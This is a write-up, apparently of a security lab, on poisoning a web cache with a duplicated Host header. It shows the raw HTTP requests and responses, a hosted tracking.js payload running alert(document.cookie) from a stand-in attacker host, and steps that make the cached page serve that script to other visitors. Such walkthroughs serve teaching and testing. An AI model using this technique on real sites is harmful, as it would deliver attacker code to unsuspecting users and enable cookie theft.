Web cache poisoning via ambiguous HTTP request
Situation
We are presented with a standard web application. What we want to achieve is to poison the cache in order to send back pages executing alert(document.cookie)
on victims’ browsers.
Recon
We fire up Burp Suite, set up our proxy, then explore the site for a bit in order to collect some info. The request to the main page looks like this:
GET / HTTP/1.1
Host: target-host.com
...
Cache-Control: max-age=0
We notice in the response that it’s loading a JavaScript resource from target-host.com/resources/js/tracking.js
. Here’s what the response looks like:
HTTP/1.1 200 OK
...
<!DOCTYPE html>
<html>
...
<script
type="text/javascript"
src="//target-host.com/resources/js/tracking.js"> </script>
...
</html>
Let’s try to edit the Host
header in our request. We’ll see if the response reflects our change, which would be a great entry-point for our exploit:
GET / HTTP/1.1
Host: malicious-host.com...
Cache-Control: max-age=0
Unfortunately, this doesn’t work out as expected. We get back a 504
HTTP error that looks like this:
HTTP/1.1 504 Gateway Timeout...
<html>
<head>
<title>Server Error: Gateway Timeout</title> </head>
...
</html>
Now let’s try creating an ambiguous request by duplicating the Host
header in our request. Here’s what it looks like:
GET / HTTP/1.1
Host: target-host.com
Host: malicious-host.com...
Cache-Control: max-age=0
And there we go! We see our Host
header reflected in the response:
HTTP/1.1 200 OK
...
<!DOCTYPE html>
<html>
...
<script
type="text/javascript"
src="//malicious-host.com/resources/js/tracking.js"> </script>
...
</html>
Strategy
Now that we’re able to trick the target into loading a resource from an arbitrary server, let’s craft a quick HTTP endpoint on a server we control.
# Our endpoint
https://malicious-server.com/resources/js/tracking.js
# The payload
HTTP/1.1 200 OK
...
alert(document.cookie);
Next we try to effectively load that resource into the target page. To do that, we just go to https://target-host.com
, we intercept the request and add our duplicate header Host: malicious-host.com
after the legitimate header.
We can then see our alert(document.cookie)
execute in our browser.
While this is good, it’s not enough to exploit an arbitrary user on that page. We need the target host to load our resources without manipulating the Host
header. How do we do that? With cache poisoning.
Exploit
Now that we have all the pieces, our exploit is pretty much set-up. It works in 2 steps:
-
Go to
https://target.host.com
- Intercept the
HTTP GET /
request in Burp - Add the duplicate header
Host: malicious-host.com
- Forward the request
- We’ll see the
alert(document.cookie)
executing
- Intercept the
-
Now the target host will cache that response
- To check that, we just go to
https://target-host
without manipulating theHost
header - We can see that it still loads our script from
https://malicious-host.com/resources/js/tracking.js
- To check that, we just go to